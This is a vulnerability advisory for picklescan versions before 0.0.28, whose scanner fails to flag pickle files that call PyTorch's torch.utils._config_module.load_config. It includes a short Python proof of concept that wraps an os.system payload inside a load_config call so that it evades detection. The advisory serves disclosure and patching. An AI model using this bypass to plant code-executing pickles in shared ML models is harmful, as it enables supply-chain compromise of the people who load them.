---
id: CVE-2025-71348
aliases:
  - GHSA-vv6j-3g6g-2pvj
  - PYSEC-2026-245
title: >-
  Picklescan is missing detection when calling pytorch function
  torch.utils._config_module.load_config
summary: >-
  Picklescan is missing detection when calling pytorch function
  torch.utils._config_module.load_config
severity: high
cvss: 8.1
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N'
vendor: picklescan
product: picklescan
ecosystem: pip
affected:
  - picklescan < 0.0.28
patched:
  - picklescan 0.0.28
published: '2025-08-22'
updated: '2026-09-11'
sourceUpdated: '2026-09-11T19:45:09.010579634Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-vv6j-3g6g-2pvj'
references:
  - url: >-
      https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-71348'
  - url: 'https://github.com/mmaitre314/picklescan/pull/47'
  - url: >-
      https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53
  - url: 'https://github.com/mmaitre314/picklescan'
  - url: 'https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28'
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml
  - url: >-
      https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass
  - url: 'https://github.com/advisories/GHSA-vv6j-3g6g-2pvj'
tags:
  - osv
  - pip
  - ghsa
epss: 0.00554
epssPercentile: 0.4389
cwe:
  - CWE-345
ingestedAt: '2026-09-11T19:57:09.309Z'
---

## Overview

### Summary

Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.

### PoC

```
import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

## Affected packages

- `picklescan < 0.0.28`

## Remediation

Upgrade to a patched release:

- `picklescan 0.0.28`